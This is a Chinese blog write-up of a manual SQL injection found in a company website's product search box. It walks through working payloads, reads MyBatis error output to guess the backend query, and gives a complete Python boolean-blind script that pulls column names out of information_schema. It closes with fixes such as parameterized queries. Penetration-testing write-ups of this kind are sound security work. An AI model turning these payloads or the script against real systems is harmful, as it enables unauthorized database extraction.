当前位置: 首页 > news >正文

一次丝滑的手工SQL注入

记一次丝滑的手工SQL注入

  • 背景
  • 前置知识
  • 实际操作
    • 1.判断是否可注入
    • 2.构造payload
    • 3.猜测后端真实的SQL
  • 外话
  • 修复方式

背景

HW前期,公司让做一次暴露面筛查,还夹杂着杂七杂八的iot渗透任务。在某个迷迷糊糊的下午,不知道怎么自己就SQL注入的手法又有了新的思路,这得益于平时看攻防社区大佬的技术博文,思路和大佬相似,但又有些许自己的见解。
前几天在看一篇攻防实操技术博文,大佬提到,可以在搜索栏中输入"*"这个符号进行模糊匹配,然后再看是不是可以构造相应判断注入的语句。

前置知识

SQL语句中,有like这样一个关键字,在搜索框中,为了更宽泛的匹配,都会引入这样类似的SQL语句

SELECT * FROM users WHERE username LIKE '%输入内容%';

实际操作

在这里插入图片描述
看到上面的URL,我试了一下,并没有SQL注入。然后我在:产品与服务 的搜索框中输入"%"
在这里插入图片描述
发现返回了所有的数据。

1.判断是否可注入

我输入 %’ OR ‘1’=‘1,发现返回所有数据,而输入%’ AND ‘1’=‘2,发现返回0条数据,于是想在这里进行更深入的尝试。
在这里插入图片描述
在这里插入图片描述
但当我输入%’ AND ‘1’='1的时候,仍然返回0条数据。还好我没有放弃,这里需要分析背后的原因。
在这里插入图片描述
如果后端SQL是这样拼接的:

SELECT * FROM users WHERE username LIKE '%[payload]%';

插入进去后就变成:

LIKE '%%' OR '1'='1%'

就是个字符串而不是布尔表达式了。
所以我需要进行闭合。
当我尝试第一种闭合猜测
%’ OR ‘1’=‘1’ –
在这里插入图片描述

这个报错信息说明当前的注入点确实生效了,但是在 SQL 执行阶段被 MyBatis(Java 的持久层框架)处理时出现了参数异常。
这说明:

  • 当前语句已经被识别成了一段不需要参数的 SQL;
  • 但是 MyBatis 的 Mapper 里还试图去绑定一个参数(比如 #{id});
  • 注入的内容使 SQL 构造提前结束,导致 占位符参数失效;
  • 所以最后:参数数量不匹配,报错
    可能原始的MyBatis代码是
SELECT * FROM users WHERE username LIKE CONCAT('%', #{keyword}, '%') AND id = #{id}

拼接后变成了

SELECT * FROM users WHERE username LIKE '%\%' OR '1'='1' -- %' AND id = ?

此时 AND id = ? 被注释掉了,而 MyBatis 还想给 ? 赋值,就报错了。

2.构造payload

当我尝试第二种闭合猜测%’ OR 1’=‘1’
在这里插入图片描述

然后他就这么水灵灵的把SQL错误语句返回了。
%’ OR ‘1’=‘1’ --闭合之后,发现注释仍然不能终止SQL语句,通过返回,可以大致猜测后端的真实SQL,不止注入一次,而是把输入的内容带入到了多个位置

3.猜测后端真实的SQL

AND (detail.name        LIKE '%keyword%' OR detail.model_key LIKE '%keyword%'  OR rich.summary_txt LIKE '%keyword%'
)

所以当带入注入内容,实际上是:

detail.name        LIKE '%%' OR '1'='1' -- %'
OR detail.model_key LIKE '%%' OR '1'='1' -- %'
OR rich.summary_txt LIKE '%%' OR '1'='1' -- %'

虽然注释了前面,后面两个还在执行
所以再次构造%’ OR ‘1’=‘1’ OR '% 让语句合法
后端是这样的:

detail.name LIKE '%%' OR '1'='1' OR '%%'
OR detail.model_key LIKE '%%' OR '1'='1' OR '%%'
OR rich.summary_txt LIKE '%%' OR '1'='1' OR '%%'

在这里插入图片描述
到此,我确定注入字段%’ AND 1=1 OR '%
在这里插入图片描述
在这里插入图片描述
然后进行布尔盲注,先用burp测试
在这里插入图片描述
然后写脚本进行批量爆破:
在这里插入图片描述
脚本模板如下:

import requestsurl = ""  # 目标地址
headers = {}table_name = ""  # 替换成目标表名
max_columns = 50  # 假设不超过50个字段
max_length = 30  # 假设字段名最长30字符def is_true(payload):data = {"keyword": payload}r = requests.post(url, json=data, headers=headers)return r'"total":111' in r.text  # 替换为响应中条件为真的特征关键字def get_column_count():print("[*] Getting column count...")for i in range(1, max_columns + 1):payload = f"%' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='{table_name}') = {i} OR '%"if is_true(payload):print(f"[✔] Column count: {i}")return iprint("[!] Column count not found")return 0def extract_column_name(position):result = ""for i in range(1, max_length + 1):found = Falsefor ascii_code in range(32, 127):payload = f"%' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT {position},1), {i}, 1)) = {ascii_code} OR '%"if is_true(payload):result += chr(ascii_code)print(f"[+] Pos {position + 1}, Char {i}: {chr(ascii_code)}")found = Truebreakif not found:breakreturn resultif __name__ == "__main__":count = get_column_count()for i in range(count):print(f"\n[*] Extracting column {i + 1} name...")name = extract_column_name(i)print(f"[✔] Column {i + 1} name: {name}")

外话

如果数据库没有什么敏感信息,其实问题不大,所以从安全上设计,最好就是数据分开放,多台数据库部署。

修复方式

  • 部署WAF,这可是公司官网。。
  • 代码层,使用参数化查询,预编译等。。。
http://www.xdnf.cn/news/124795.html

相关文章:

  • 深度剖析RLHF:语言模型“类人输出”的训练核心机制
  • 全面认识Chroma 向量数据库中的索引和相似度
  • Python基础语法:标识符,运算符,数据输入input(),数据输出print(),转义字符,续行符
  • 如何通过CRM管理软件提升客户满意度:实战策略与系统应用解析
  • java项目中分库分表使用场景?具体应该如何实现?
  • Streamlit从入门到精通:构建数据应用的利器
  • 数据中台-数据质量管理系统:从架构到实战
  • ai如何赋能艺术教育
  • LainChain技术解析:基于RAG架构的下一代语言模型增强框架
  • SpringBoot入门实战(项目搭建、配置、功能接口实现等一篇通关)
  • 如何构建高效的接口自动化测试框架?
  • vue2项目,为什么开发环境打包出来的js文件名是1.js 2.js,而生产环境打包出来的是chunk-3adddd.djncjdhcbhdc.js
  • Java面试高频问题(21-25)
  • Linux GPIO驱动开发实战:Poll与异步通知双机制详解
  • 解决VS Code中Vue项目不识别`@/`的可能解决方案及总结
  • 高性能服务器配置经验指南2——深度学习准备(驱动安装,Anaconda安装,不同版本Cuda安装)
  • 什么是 低秩矩阵(Low-Rank)
  • 蓝桥杯 20. 压缩变换
  • 数据库监控 | MongoDB监控全解析
  • 算法之分支定界
  • 【含文档+PPT+源码】基于SpringBoot的开放实验管理平台设计与实现
  • Spring Boot中自定义404异常处理问题学习笔记
  • redis集群的三种部署方式
  • JS 应用算法逆向三重断点调试调用堆栈BP 插件发包安全结合
  • 【C语言】C语言中的联合体与枚举类型
  • 生物创新药研发为何要上电子实验记录本?
  • ​[Android] 共生地球 v1.1.19 国产卫星地图 ​
  • 深度学习 backbone,neck,head网络关键组成
  • 记录学习的第三十一天
  • ​Janus Pro